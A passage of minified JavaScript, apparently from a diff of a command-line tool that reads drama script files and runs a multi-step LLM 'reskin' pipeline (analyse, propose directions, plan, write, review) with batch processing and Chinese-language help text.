<n|recommended>","\u6CA1\u5199 pick \u7684\u5267\u7528\u8FD9\u4E2A\u5019\u9009\uFF1B\u4E0D\u7ED9\u65F6\u505C\u4E0B\u7B49\u4EBA\u5DE5\u9009\u62E9").option("--until <step>","\u505A\u5230\u8FD9\u4E00\u6B65\u540E\u505C\u4E0B\uFF1Aanalyze | direction | plan | write | review").option("--no-fallback","\u53EA\u7528\u6240\u9009\u6A21\u578B\uFF0C\u5931\u8D25\u65F6\u4E0D\u6362\u7528\u5176\u4ED6\u6A21\u578B\uFF08\u9ED8\u8BA4\u6309\u914D\u7F6E\u7684\u964D\u7EA7\u987A\u5E8F\u6362\u7528\uFF09").option("--llm-config <path>","LLM configuration file").action(H(Eg,t))}import*as Sg from"node:fs";var Co="\u5730\u5740\uFF1A\u96C6 `3`\u3001\u573A `3-2`\u3001\u5355\u6761 `3-2-5`\u3001\u6B63\u5F0F ID\u3001\u8D44\u4EA7\u540D\u3001\u6216 `<\u8D44\u4EA7>/<\u72B6\u6001>`";function Ke(e){let t=me(e);if(!Sg.existsSync(t))throw new S("Local script file not found.",{exitCode:b,errorCode:"SCRIPT_NOT_FOUND",hint:"Run `scriptctl checkout`, `scriptctl create`, or pass --script-path to an existing script.",data:{expected:["existing local script JSON"],actual:[t]}});return op(t)}function he(e,t){let n=e[t];return typeof n=="string"?n:void 0}function gi(e,t){let n=e[t];if(n==null||n==="")return;let o=Number(n);if(!Number.isFinite(o))throw new S(`--${t} must be a number.`,{exitCode:b,errorCode:"OPTION_NOT_NUMBER",data:{actual:[String(n)]}});return o}function ye(e,t=0){return(e._args??[])[t]??""}function $p(e){return Array.isArray(e)?e.map(String):typeof e=="string"?e.split(",").map(t=>t.trim()).filter(Boolean):[]}function ct(e,t,n=()=>({})){try{let o=e();return[{text:o,data:{op:t,changed:!1,text:o,...n()}},G]}catch(o){throw o instanceof S?o:new S(o instanceof Error?o.message:String(o),{exitCode:b,errorCode:o?.code??"SCRIPT_TOOL_FAILED"})}}function Ig(e,t){let n=ee(e.command("read [addr]"),"read").description(`\u8BFB\u4EFB\u610F\u8282\u70B9\uFF1B\u4E0D\u7ED9\u5730\u5740\u8FD4\u56DE\u5267\u672C\u5361\u3002${Co}`).option("--outline","\u53EA\u8981\u573A\u7ED3\u6784\uFF0C\u4E0D\u8981\u6B63\u6587").option("--context <n>","\u5355\u6761 action \u524D\u540E\u5404\u5E26\u51E0\u6761\uFF08\u9ED8\u8BA4 3\uFF09").option("--plain","\u53BB\u6389\u951A\u70B9\u4E0E\u65F6\u95F4\u6233\uFF08\u53EA\u8BFB\uFF0C\u4E0D\u53EF\u56DE\u5199\uFF09").action(H(h=>{let _=Ke(h);return ct(()=>ua(_,ye(h),{...h.outline?{depth:"outline"}:{},...h.plain?{plain:!0}:{},...gi(h,"context")!==void 0?{context:gi(h,"context")}:{}}),"read",()=>ye(h)?{}:{document:_.raw})},t));Me(n,[Co]);let o=ee(e.command("scan <episode>"),"read").description("\u4E00\u6B21\u8FD4\u56DE\u67D0\u96C6\u7684\u5B8C\u6574\u4E0A\u4E0B\u6587\uFF1A\u573A\u7ED3\u6784 + \u5168\u90E8\u6B63\u6587 + \u5F53\u524D\u6821\u9A8C\u95EE\u9898").action(H(h=>ct(()=>{let _=Ke(h),x=ye(h);return[`## \u573A\u7ED3\u6784
233
- ${ua(_,x,{depth:"outline"})}`,`## \u6B63\u6587
234
- ${ua(_,x)}`,`## \u5F53\u524D\u6821\u9A8C\u95EE\u9898
235
- ${wp(_,{})}`].join(`
226
+ `}function dg(e){let t=JSON.parse(ge.readFileSync(e,"utf8")),n=Array.isArray(t)?{dramas:t}:t;if(!Array.isArray(n.dramas)||!n.dramas.length)throw new Error("\u6E05\u5355\u91CC\u6CA1\u6709 dramas\u3002");let o=Ee.dirname(Ee.resolve(e)),i=new Set;return{dramas:n.dramas.map((s,c)=>{if(!s.source?.trim())throw new Error(`\u7B2C ${c+1} \u90E8\u5267\u6CA1\u6709 source\u3002`);let a=Ee.resolve(o,s.source.trim()),d=(s.id?.trim()||Ee.basename(Ee.dirname(a))).replace(/[\\/]/g,"-");if(i.has(d))throw new Error(`\u5267\u7684 id \u91CD\u590D\uFF1A${d}\uFF1B\u7ED9\u6BCF\u90E8\u5267\u5199\u4E0D\u540C\u7684 id\u3002`);if(i.add(d),s.pick!==void 0&&s.pick!=="recommended"&&!(Number.isInteger(s.pick)&&Number(s.pick)>=1))throw new Error(`${d} \u7684 pick \u5199\u5019\u9009\u5E8F\u53F7\uFF08\u4ECE 1 \u5F00\u59CB\uFF09\u6216 recommended\u3002`);return{...s,id:d,source:a}}),models:{...SS,...n.models??{}},prices:{...IS,...n.prices??{}},...n.pick!==void 0?{pick:n.pick}:{}}}async function RS(e,t,n){let o=[...e];await Promise.all(Array.from({length:Math.max(1,Math.min(t,o.length))},async()=>{for(let i=o.shift();i!==void 0;i=o.shift())await n(i)}))}var On=class extends Error{constructor(n,o){super(o);this.state=n}state};async function pg(e,t,n){let o=n.now??Date.now,i=new Map,r=()=>LS(n.outputDir,e,[...i.values()]);async function s(c){let a=Cp(n.outputDir,c.id),d={...va(a.status)??{id:c.id,steps:{}},state:"running",reason:"",step:null,updated_at:""};i.set(c.id,d);let p=()=>{d.updated_at=new Date(o()).toISOString(),Oa(a.status,d),r()},l=I=>n.onEvent?.({drama:c.id,...I});if(!ge.existsSync(a.source)){if(!ge.existsSync(c.source))throw new On("failed",`\u539F\u5267\u5267\u672C\u4E0D\u5B58\u5728\uFF1A${c.source}`);ge.mkdirSync(Ee.dirname(a.source),{recursive:!0}),ge.copyFileSync(c.source,a.source)}async function f(I,O){let U=d.steps[I]??{state:"running",runs:0,wall_ms:0,usage:{}};U.state="running",d.steps[I]=U,d.step=I,p(),l({type:"step-started",step:I}),ge.mkdirSync(Ee.dirname(a.log(I)),{recursive:!0});let C=K=>{ge.appendFileSync(a.log(I),JSON.stringify(K)+`
227
+ `),bS.has(String(K.type))&&Array.isArray(K.usage)&&kS(U.usage,K.usage)},R=null;for(let K=1;K<=n.attempts;K+=1){let Z=o();U.runs+=1;try{R=await O(C)}catch(Re){R=Re instanceof Error?Re.message:String(Re)}if(U.wall_ms+=o()-Z,p(),!R)break}if(U.state=R?"failed":"completed",R?U.error=R:delete U.error,p(),l({type:"step-done",step:I,state:U.state,error:R}),R)throw new On("failed",`${I}\uFF1A${R}`)}let u=I=>d.steps[I]?.state==="completed",y=I=>n.until===I;if((!u("analyze")||!ge.existsSync(a.analysis))&&await f("analyze",async I=>{let O=await t.analyzeReskinSource({...n.config(e.models.analyze),sourcePath:a.source,outputPath:a.analysis,onEvent:I});return O.state==="completed"?null:O.error||"\u62C6\u89E3\u672A\u5B8C\u6210"}),y("analyze"))return;let m=va(a.analysis)?.profile?.suitability;if(typeof m?.score=="number"&&m.score<3&&c.pick===void 0)throw d.step="analyze",new On("stopped",`\u8FD9\u90E8\u539F\u5267\u4E0D\u592A\u9002\u5408\u6362\u58F3\uFF08\u62C6\u89E3\u9002\u5408\u5EA6 ${m.score}/5\uFF09${m.reason?`\uFF1A${m.reason}`:""}\u3002\u770B\u8FC7\u540E\u4ECD\u8981\u505A\uFF0C\u7ED9\u8FD9\u90E8\u5267\u5199 pick \u518D\u8FD0\u884C`);let g=vS(a.analysis,c),w=va(a.direction);(w?.key!==g||w.result.state!=="completed")&&(w=null,await f("direction",async I=>{let O=await t.proposeReskinDirections({...n.config(e.models.direction),sourcePath:a.source,analysisPath:a.analysis,notes:c.notes??"",custom:c.custom??"",market:c.market??"",rating:c.rating??"",avoid:c.avoid??[],onEvent:I});return O.type!=="direction-done"||O.state!=="completed"?O.type==="direction-done"&&O.error||"\u65B9\u5411\u672A\u5B8C\u6210":(w={key:g,result:O},Oa(a.direction,w),null)}));let h=w.result,_=!!c.custom?.trim(),x=_?1:c.pick??e.pick,E=x==="recommended"?h.recommended:x??null;if(d.direction={mode:_?"custom":"candidates",suitability:h.suitability,verdict:h.verdict,verdict_reason:h.reason,candidates:h.candidates.map(({title:I,shell:O,feasibility:U,distinctiveness:C})=>({title:I,shell:O,feasibility:U,distinctiveness:C})),recommended:h.recommended,recommendation:h.recommendation,picked:E},d.step="direction",h.verdict==="\u4E0D\u53EF\u884C")throw new On("stopped",`\u6307\u5B9A\u7684\u65B9\u5411\u4E0D\u53EF\u884C\uFF1A${h.reason}`);if(h.suitability&&h.suitability.score<3&&c.pick===void 0)throw new On("stopped",`\u8FD9\u90E8\u539F\u5267\u4E0D\u592A\u9002\u5408\u6362\u58F3\uFF08\u9002\u5408\u5EA6 ${h.suitability.score}/5\uFF09\uFF1A${h.suitability.reason}\u3002\u770B\u8FC7\u540E\u4ECD\u8981\u505A\uFF0C\u7ED9\u8FD9\u90E8\u5267\u5199 pick \u518D\u8FD0\u884C`);if(E===null)throw new On("stopped",`\u5F85\u4EBA\u5DE5\u9009\u62E9\u65B9\u5411\uFF1A\u5728\u6E05\u5355\u91CC\u7ED9\u8FD9\u90E8\u5267\u5199 pick\uFF081\u2013${h.candidates.length}\uFF0C\u63A8\u8350 ${h.recommended}\uFF09\u540E\u518D\u8FD0\u884C`);let A=h.candidates[E-1];if(!A)throw new On("stopped",`pick ${E} \u8D85\u51FA\u5019\u9009\u8303\u56F4\uFF08\u5171 ${h.candidates.length} \u4E2A\uFF09`);let k=OS(A,h,c),N=ge.existsSync(a.brief)?ge.readFileSync(a.brief,"utf8"):null;if(N!==k){let I=Ee.dirname(a.script);N!==null&&ge.existsSync(I)&&ge.renameSync(I,`${I}.${new Date(o()).toISOString().replace(/[:.]/g,"-")}`);for(let O of["plan","write","review"])delete d.steps[O];delete d.review,ge.mkdirSync(Ee.dirname(a.brief),{recursive:!0}),ge.writeFileSync(a.brief,k)}if(p(),y("direction")||(u("plan")||await f("plan",async I=>{let O=await t.buildReskinPlan({...n.config(e.models.plan),sourcePath:a.source,analysisPath:a.analysis,directionPath:a.brief,planPath:a.plan,onEvent:I});return O.state==="completed"?null:O.error||"\u65B9\u6848\u672A\u5B8C\u6210"}),y("plan"))||(u("write")||await f("write",async I=>{let O=await t.writeReskinScript({...n.config(e.models.write),reviewModel:n.config(e.models.review),sourcePath:a.source,analysisPath:a.analysis,planPath:a.plan,scriptPath:a.script,concurrency:Math.max(1,Math.floor(6/n.concurrency)),episodeTimeoutMs:48e4,onEvent:I});return O.type==="done"&&!O.failed?.length?null:`\u8FD9\u4E9B\u96C6\u6CA1\u6709\u5199\u6210\uFF1A${(O.failed??[]).join("\u3001")}`}),y("write")))return;let M=d.review??={converged:!1};u("review")||await f("review",async I=>{M.converged=!1;let O=!1,U=0,C=R=>{I(R),R.type==="global"&&U++,(R.type==="global"||R.type==="episode")&&R.state==="failed"&&(O=!0),R.type==="done"&&(M.converged=U>0&&!O)};return await t.reviewReskinScript({...n.config(e.models.review),scriptPath:a.script,sourcePath:a.source,analysisPath:a.analysis,planPath:a.plan,convergeOnly:!0,concurrency:5,maxSteps:300,episodeTimeoutMs:8*6e4,onEvent:C}),M.converged?null:"\u5168\u5267\u6536\u5C3E\u6CA1\u6709\u5B8C\u6210"})}for(let c of e.dramas){let a=va(Cp(n.outputDir,c.id).status);i.set(c.id,{...a??{id:c.id,steps:{},step:null,reason:"",updated_at:""},state:"pending"})}return r(),await RS(e.dramas,n.concurrency,async c=>{try{await s(c);let d=i.get(c.id);d.state=n.until&&n.until!=="review"?"stopped":"completed",d.reason=d.state==="stopped"?`\u6309 --until \u505C\u5728 ${n.until}`:""}catch(d){let p=i.get(c.id)??{id:c.id,steps:{},step:null,reason:"",state:"failed",updated_at:""};i.set(c.id,p),p.state=d instanceof On?d.state:"failed",p.reason=d instanceof Error?d.message:String(d)}let a=i.get(c.id);a.updated_at=new Date(o()).toISOString(),Oa(Cp(n.outputDir,c.id).status,a),r(),n.onEvent?.({type:"drama-done",drama:c.id,state:a.state,step:a.step,reason:a.reason})}),e.dramas.map(c=>i.get(c.id))}function MS(e){let t=e.split(`
228
+ `)[0].replace(/\|/g,"\uFF0F");return t.length>160?`${t.slice(0,160)}\u2026`:t}function cg(e){return`${Math.round(e/6e4)} \u5206\u949F`}function LS(e,t,n){let o=n.map(s=>{let c=Object.fromEntries(ts.filter(p=>s.steps[p]).map(p=>{let l=s.steps[p];return[p,{state:l.state,runs:l.runs,wall_ms:l.wall_ms,...ag(l.usage,t.prices),usage:l.usage}]})),a={};for(let p of Object.values(s.steps))for(let[l,f]of Object.entries(p.usage)){let u=a[l]??={calls:0,input:0,cached_input:0,output:0};u.calls+=f.calls,u.input+=f.input,u.cached_input+=f.cached_input,u.output+=f.output}let d=Object.values(s.steps).reduce((p,l)=>p+l.wall_ms,0);return{id:s.id,state:s.state,step:s.step,reason:s.reason,wall_ms:d,...ag(a,t.prices),usage:a,steps:c,direction:s.direction??null}});Oa(Ee.join(e,"batch-report.json"),{updated_at:new Date().toISOString(),dramas:o});let i={pending:"\u7B49\u5F85",running:"\u8FDB\u884C\u4E2D",completed:"\u5B8C\u6210",stopped:"\u505C\u4E0B",failed:"\u5931\u8D25"},r=["# \u6362\u58F3\u6279\u91CF\u8FD0\u884C","","| \u5267 | \u72B6\u6001 | \u6B65\u9AA4 | \u7528\u65F6 | \u8D39\u7528\uFF08\u7F8E\u5143\uFF09 | \u8BF4\u660E |","| --- | --- | --- | --- | --- | --- |",...o.map(s=>`| ${s.id} | ${i[s.state]} | ${s.step??""} | ${cg(s.wall_ms)} | ${s.usd.toFixed(2)}${s.unpriced.length?`\uFF08\u672A\u8BA1\u4EF7\uFF1A${s.unpriced.join("\u3001")}\uFF09`:""} | ${MS(s.reason)} |`),"",...o.flatMap(s=>[`## ${s.id}`,"","| \u6B65\u9AA4 | \u72B6\u6001 | \u8FD0\u884C\u6B21\u6570 | \u7528\u65F6 | \u8F93\u5165 tok | \u7F13\u5B58\u547D\u4E2D | \u8F93\u51FA tok | \u8D39\u7528 |","| --- | --- | --- | --- | --- | --- | --- | --- |",...Object.entries(s.steps).map(([c,a])=>{let d=Object.values(a.usage).reduce((p,l)=>({input:p.input+l.input,cached:p.cached+l.cached_input,output:p.output+l.output}),{input:0,cached:0,output:0});return`| ${c} | ${a.state} | ${a.runs} | ${cg(a.wall_ms)} | ${(d.input/1e6).toFixed(2)}M | ${d.input?Math.round(d.cached/d.input*100):0}% | ${(d.output/1e6).toFixed(2)}M | ${a.usd.toFixed(2)} |`}),...s.direction?["",s.direction.suitability?`\u9002\u5408\u5EA6 ${s.direction.suitability.score}/5\uFF1A${s.direction.suitability.reason}`:"",s.direction.verdict?`\u6307\u5B9A\u65B9\u5411\u5224\u65AD\uFF1A${s.direction.verdict}\uFF1B${s.direction.verdict_reason}`:"",...s.direction.candidates.map((c,a)=>`${a+1}. ${c.title}\uFF1A${c.shell}\uFF08\u53EF\u884C\u6027 ${c.feasibility}\uFF0C\u5DEE\u5F02\u5EA6 ${c.distinctiveness}\uFF09${a+1===s.direction.recommended&&s.direction.mode==="candidates"?" \u2190 \u63A8\u8350":""}${a+1===s.direction.picked?" \u2190 \u9009\u5B9A":""}`)].filter(Boolean):[],""])];ge.writeFileSync(Ee.join(e,"batch-report.md"),r.join(`
229
+ `))}var lg="reskin",NS=["minimal","low","medium","high"],Tp=["overall","events","beats"];function at(e,t){if(!e||!eo.existsSync(e))throw new S(`${t} not found.`,{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:`Pass an existing ${t}.`,data:{expected:[`existing ${t}`],actual:[e||"<empty>"]}});return e}function ug(e,t){let n=ka(e,t),o=e.providers[e.models[t].provider]?.protocol,i=e.models[t].reasoning,r=o?.startsWith("google")&&NS.includes(i??"")?i:void 0;return{profile:n,config:{provider:e.models[t].provider,apiKey:n.apiKey,model:n.model,maxAttempts:n.maxAttempts,...n.baseUrl?{baseUrl:n.baseUrl}:{},...o?{protocol:o}:{},...r?{thinking:r}:{}}}}function Xn(e){let t=bo(v(e.llm_config).trim()||void 0),n=v(e.model).trim()||(t.models[lg]?lg:"review-agent"),{profile:o,config:i}=ug(t,n),r=(t.models[n].fallbacks??[]).flatMap(s=>{try{return[ug(t,s).config]}catch{return[]}});return{llm:t,name:n,profile:o,config:{...i,singleModel:e.fallback===!1,...r.length?{fallbacks:r}:{}}}}function tr(e,t){return e instanceof S?e:new S("Reskin failed.",{exitCode:X,errorCode:t,hint:"Read the NDJSON events and the saved plan or script before retrying; completed work is kept.",data:{expected:["a completed reskin run"],actual:[e instanceof Error?e.message:String(e)]}})}var fi=e=>process.stdout.write(JSON.stringify(e)+`
230
+ `);async function nr(e,t){let{llm:n,name:o,profile:i}=Xn(e),s=typeof(await nn())[t]=="function";return[{text:s?`ready: ${o} ${i.provider}/${i.model}`:"the agent bundle exports no reskin commands",data:{ready:s,profile:o,provider:i.provider,model:i.model,llm_config:n.sourcePath??"builtin"}},s?G:X]}async function fg(e){if(e.check)return nr(e,"analyzeReskinSource");let{config:t}=Xn(e),n=at(me(e),"source script"),o=v(e.output).trim();if(!o)throw new S("Analysis output path missing.",{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:"Pass -o <\u62C6\u89E3.json>.",data:{expected:["analysis output path"],actual:["<empty>"]}});let i=await nn();try{let r=await i.analyzeReskinSource({...t,sourcePath:n,outputPath:o,force:e.force===!0,...e.concurrency!==void 0?{concurrency:st(e,"concurrency",5)}:{},...e.unit_timeout_ms!==void 0?{unitTimeoutMs:st(e,"unit_timeout_ms",6e5)}:{},onEvent:fi});return[{text:"",data:{}},r.type==="analyze-done"&&r.state==="completed"?G:X]}catch(r){throw tr(r,"RESKIN_ANALYZE_FAILED")}}async function mg(e){if(e.check)return nr(e,"assessReskinPaths");let{config:t}=Xn(e),n=at(v(e.analysis).trim(),"analysis"),o=v(e.markets).split(/[,,]/).map(s=>s.trim()).filter(Boolean);if(!o.length)throw new S("Candidate markets missing.",{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:"Pass --markets, e.g. --markets \u4E2D\u56FD,\u5370\u5C3C,\u7F8E\u56FD.",data:{expected:["comma-separated markets"],actual:["<empty>"]}});let i=v(e.output).trim(),r=await nn();try{let s=await r.assessReskinPaths({...t,analysisPath:n,markets:o,notes:v(e.notes),onEvent:fi});return i&&s.type==="paths-done"&&s.state==="completed"&&eo.writeFileSync(i,JSON.stringify(s,null,2)+`
231
+ `),[{text:"",data:{}},s.type==="paths-done"&&s.state==="completed"?G:X]}catch(s){throw tr(s,"RESKIN_PATHS_FAILED")}}async function gg(e){if(e.check)return nr(e,"proposeReskinDirections");let{config:t}=Xn(e),n=at(me(e),"source script"),o=at(v(e.analysis).trim(),"analysis"),i=v(e.output).trim(),r=v(e.evidence).trim(),s=r?eo.readFileSync(at(r,"evidence"),"utf8"):void 0,c=await nn();try{let a=await c.proposeReskinDirections({...t,sourcePath:n,analysisPath:o,notes:v(e.notes),custom:v(e.custom),market:v(e.market).trim(),rating:v(e.rating).trim(),avoid:(Array.isArray(e.avoid)?e.avoid:[]).map(d=>String(d).trim()).filter(Boolean),evidence:s,onEvent:fi});return i&&a.type==="direction-done"&&a.state==="completed"&&eo.writeFileSync(i,JSON.stringify(a,null,2)+`
232
+ `),[{text:"",data:{}},a.type==="direction-done"&&a.state==="completed"?G:X]}catch(a){throw tr(a,"RESKIN_DIRECTION_FAILED")}}async function hg(e){if(e.check)return nr(e,"buildReskinPlan");let{config:t}=Xn(e),n=at(me(e),"source script"),o=at(v(e.analysis).trim(),"analysis"),i=at(v(e.direction).trim(),"direction"),r=v(e.output).trim(),s=v(e.until).trim();if(!r)throw new S("Plan output path missing.",{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:"Pass -o <\u6362\u58F3\u65B9\u6848.json>.",data:{expected:["plan output path"],actual:["<empty>"]}});if(s&&!Tp.includes(s))throw new S("Unknown plan layer.",{exitCode:b,errorCode:"RESKIN_LAYER_UNKNOWN",hint:`Pass --until ${Tp.join("|")}.`,data:{expected:[...Tp],actual:[s]}});let c=await nn();try{let a=await c.buildReskinPlan({...t,sourcePath:n,analysisPath:o,directionPath:i,planPath:r,...s?{until:s}:{},force:e.force===!0,...e.unit_timeout_ms!==void 0?{unitTimeoutMs:st(e,"unit_timeout_ms",18e5)}:{},onEvent:fi}),d=a.type==="plan-done"&&a.state!=="failed";return[{text:"",data:{}},d?G:X]}catch(a){throw tr(a,"RESKIN_PLAN_FAILED")}}async function yg(e){let t=v(e.review_model).trim()?Xn({...e,model:e.review_model}).config:void 0;if(e.check)return nr(e,"writeReskinScript");let{config:n}=Xn(e),o=me(e),i=at(v(e.source).trim(),"source script"),r=at(v(e.analysis).trim(),"analysis"),s=at(v(e.plan).trim(),"plan"),c=es(v(e.episodes)),a=await nn();try{let d=await a.writeReskinScript({...n,sourcePath:i,analysisPath:r,planPath:s,scriptPath:o,...c?{episodes:c}:{},force:e.force===!0,concurrency:st(e,"concurrency",6),...t?{reviewModel:t}:{},episodeTimeoutMs:st(e,"episode_timeout_ms",48e4),onEvent:fi});return[{text:"",data:{}},d.type==="done"&&d.failed.length===0?G:X]}catch(d){throw tr(d,"RESKIN_WRITE_FAILED")}}async function wg(e){if(e.check)return nr(e,"reviewReskinScript");let{config:t}=Xn(e),n=at(me(e),"reskinned script"),o=at(v(e.source).trim(),"source script"),i=at(v(e.analysis).trim(),"analysis"),r=at(v(e.plan).trim(),"plan"),s=es(v(e.episodes)),c=await nn();try{let a=await c.reviewReskinScript({...t,scriptPath:n,sourcePath:o,analysisPath:i,planPath:r,...s?{episodes:s}:{},concurrency:st(e,"concurrency",10),converge:e.converge!==!1,convergeOnly:e.converge_only===!0,maxSteps:st(e,"max_steps",300),episodeTimeoutMs:st(e,"episode_timeout_ms",9e5),onEvent:fi});return[{text:"",data:{}},a.some(d=>(d.type==="episode"||d.type==="global")&&d.state==="failed")?X:G]}catch(a){throw tr(a,"RESKIN_REVIEW_FAILED")}}async function _g(e){let t=e._args??[],n=at(v(t[0]).trim(),"batch manifest"),o=v(e.output).trim();if(!o)throw new S("Batch output folder missing.",{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:"Pass -o <folder>; each drama gets its own project folder inside it.",data:{expected:["batch output folder"],actual:["<empty>"]}});let i=v(e.until).trim();if(i&&!ts.includes(i))throw new S("Unknown batch step.",{exitCode:b,errorCode:"RESKIN_LAYER_UNKNOWN",hint:`Pass --until ${ts.join("|")}.`,data:{expected:[...ts],actual:[i]}});let r;try{r=dg(n)}catch(l){throw new S("Batch manifest is invalid.",{exitCode:b,errorCode:"RESKIN_BATCH_INVALID",hint:"Fix the manifest and run again.",data:{expected:["{ dramas: [{ source, ... }] }"],actual:[l instanceof Error?l.message:String(l)]}})}let s=v(e.pick).trim();s&&(r.pick=s==="recommended"?"recommended":st(e,"pick",1));let c=new Map(Object.values(r.models).map(l=>[l,Xn({...e,model:l}).config])),a=await nn();eo.mkdirSync(o,{recursive:!0});let p=(await pg(r,a,{outputDir:o,until:i||void 0,concurrency:st(e,"concurrency",2),attempts:st(e,"attempts",3),config:l=>c.get(l),onEvent:fi})).filter(l=>l.state==="failed").length;return[{text:"",data:{}},p?X:G]}function Eg(e,t){ee(e.command("review"),"write").description("\u6D3E\u53D1 agent \u5BA1\u6838\u5267\u672C\uFF1A\u7ED9 -s \u5BF9\u7167\u6587\u672C\u3001\u6F2B\u753B\u6216\u89C6\u9891\u539F\u7A3F\uFF0C\u4E0D\u7ED9\u5219\u68C0\u67E5\u5267\u672C\u5185\u90E8\u4E00\u81F4\u6027").option("-s, --source-path <path>","\u6587\u672C/\u6F2B\u753B ingest \u5DE5\u4F5C\u533A\u3001\u539F txt/md/docx/PDF \u6216\u89C6\u9891\u6587\u4EF6/\u76EE\u5F55").option("--video <path>","\u7B2C N \u96C6\u7684\u89C6\u9891\uFF1B\u6309\u96C6\u987A\u5E8F\u91CD\u590D\u4F20\uFF0C\u8986\u76D6 -s \u7684\u76EE\u5F55\u6392\u5E8F",(i,r)=>[...r,i],[]).addOption(new US("--review-strategy <strategy>","\u89C6\u9891\u5BA1\u6838\u6267\u884C\u65B9\u5F0F\uFF1Abatch \u53EF\u9009\u8054\u5408\u5BA1\u6838\uFF08\u9700\u4EBA\u5DE5\u590D\u6838\u8BC1\u636E\u51B2\u7A81\uFF09\uFF1Blegacy \u9010\u9879\u4FEE\u6B63").choices(["batch","legacy"]).default("legacy")).option("--episodes <list>","\u53EA\u5BA1\u8FD9\u4E9B\u96C6\uFF0C\u9017\u53F7\u5206\u9694\uFF08\u9ED8\u8BA4\u5168\u5267\uFF09").option("--concurrency <n>","\u540C\u65F6\u5728\u98DE\u7684\u96C6\u6570",Number).option("--episode-timeout-ms <ms>","\u5355\u96C6\u8D85\u65F6\uFF08\u9ED8\u8BA4 15 \u5206\u949F\uFF09\uFF1B\u5230\u70B9\u6536\u5C3E\u5E76\u4FDD\u7559\u5DF2\u8BB0\u5F55\u7684\u7ED3\u8BBA",Number).option("--max-steps <n>","\u5355\u96C6\u6700\u591A\u51E0\u6B65\u5DE5\u5177\u8C03\u7528",Number).option("--media-budget <n>","\u5A92\u4F53\u9884\u7B97\uFF1A\u9010\u96C6\u9ED8\u8BA4 1 \u6B21\uFF1B\u4EBA\u7269\u9636\u6BB5\u9ED8\u8BA4\u8986\u76D6\u5168\u90E8\u76F8\u5173\u96C6\uFF0C\u663E\u5F0F\u503C\u9650\u5236\u672C\u6B21\u8986\u76D6\u96C6\u6570",Number).option("--converge-only","\u53EA\u6267\u884C\u5168\u5267\u6536\u655B\uFF0C\u4E0D\u91CD\u65B0\u5BA1\u6838\u5404\u96C6").option("--assets <list>","\u89C6\u9891\u5B9A\u70B9\u590D\u6838\u7684\u8D44\u4EA7 ID\uFF0C\u9017\u53F7\u5206\u9694\uFF1B\u4E0E --converge-only \u540C\u7528\uFF0C\u53EF\u7528 --episodes \u9650\u5B9A\u4EBA\u7269\u9636\u6BB5\u8303\u56F4").option("--resume-log <path>","\u4ECE\u5F53\u524D\u5267\u672C\u7684\u65E2\u6709\u5BA1\u6838\u65E5\u5FD7\u7EED\u8DD1\uFF0C\u4FDD\u7559\u5DF2\u5B8C\u6210\u5355\u5143\uFF1B\u591A\u4EFD\u65E5\u5FD7\u6309\u65F6\u95F4\u5148\u540E\u91CD\u590D\u4F20\u5165",(i,r=[])=>[...r,i]).option("--no-converge","\u8DF3\u8FC7\u5168\u5267\u6536\u655B\u9636\u6BB5").option("--model <profile>","\u8986\u76D6 LLM profile\uFF08\u89C6\u9891/\u7EAF\u5267\u672C\u9ED8\u8BA4 review-agent\uFF0C\u6587\u672C review-text\uFF0C\u6F2B\u753B review-comic\uFF09").option("--media-model <profile>","\u89C6\u9891\u53D6\u8BC1\u4F7F\u7528\u7684 LLM profile\uFF08\u5168\u96C6\u5B9A\u4F4D\u3001\u9759\u5E27\u4E0E\u97F3\u8F68\u6838\u5BF9\uFF09").option("--no-fallback","\u53EA\u7528\u6240\u9009\u6A21\u578B\uFF0C\u5931\u8D25\u65F6\u4E0D\u6362\u7528\u5176\u4ED6\u6A21\u578B").option("--llm-config <path>","LLM configuration file").option("--check","\u53EA\u68C0\u67E5\u6A21\u578B\u4E0E agent \u662F\u5426\u5C31\u7EEA\uFF0C\u4E0D\u5BA1\u6838").action(H(sg,t));let n=e.command("reskin").description("\u6362\u58F3\u4EFF\u5199\uFF1A\u62C6\u89E3\u539F\u5267\uFF0C\u63D0\u51FA\u65B0\u58F3\u65B9\u5411\uFF0C\u9010\u5C42\u5B9A\u6362\u58F3\u65B9\u6848\uFF08\u6574\u4F53\u65B9\u6848 \u2192 \u4E8B\u4EF6 \u2192 \u8282\u62CD\uFF09\uFF0C\u6309\u7ED3\u6784\u8868\u9010\u96C6\u5199\u65B0\u5267\uFF0C\u518D\u505A\u6362\u58F3\u5BA1\u6838"),o=i=>i.option("--model <profile>","\u8986\u76D6 LLM profile\uFF08\u9ED8\u8BA4 reskin\uFF09").option("--no-fallback","\u53EA\u7528\u6240\u9009\u6A21\u578B\uFF0C\u5931\u8D25\u65F6\u4E0D\u6362\u7528\u5176\u4ED6\u6A21\u578B\uFF08\u9ED8\u8BA4\u6309\u914D\u7F6E\u7684\u964D\u7EA7\u987A\u5E8F\u6362\u7528\uFF09").option("--llm-config <path>","LLM configuration file").option("--check","\u53EA\u68C0\u67E5\u6A21\u578B\u4E0E agent \u662F\u5426\u5C31\u7EEA");o(ee(n.command("analyze"),"read").description("\u62C6\u89E3\u539F\u5267\uFF1A\u5148\u901A\u8BFB\u5168\u5267\u5212\u5206\u9636\u6BB5\u4E0E\u4E8B\u4EF6\uFF0C\u518D\u6309\u9636\u6BB5\u5E76\u884C\u5199\u4E8B\u4EF6\u4E8B\u5B9E\u3001\u6309\u96C6\u5E76\u884C\u5207\u8282\u62CD\uFF0C\u540C\u65F6\u5F52\u7EB3\u5168\u5267\u753B\u50CF\uFF08\u539F\u5267\u5730\u533A\u4E0E\u53F0\u8BCD\u8BED\u8A00\u3001\u6362\u58F3\u9002\u5408\u5EA6\uFF09\u3002-p \u4E3A\u539F\u5267\u5267\u672C\uFF1B\u5DF2\u5B8C\u6210\u7684\u5355\u5143\u4FDD\u5B58\u5728\u8F93\u51FA\u6587\u4EF6\u65C1\u7684 .cache/analyze.json\uFF0C\u518D\u6B21\u8FD0\u884C\u4ECE\u65AD\u70B9\u7EE7\u7EED").option("-o, --output <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--force","\u5FFD\u7565\u5DF2\u4FDD\u5B58\u7684\u8FDB\u5EA6\u91CD\u65B0\u62C6\u89E3").option("--concurrency <n>","\u5E76\u884C\u7684\u5355\u5143\u6570",Number).option("--unit-timeout-ms 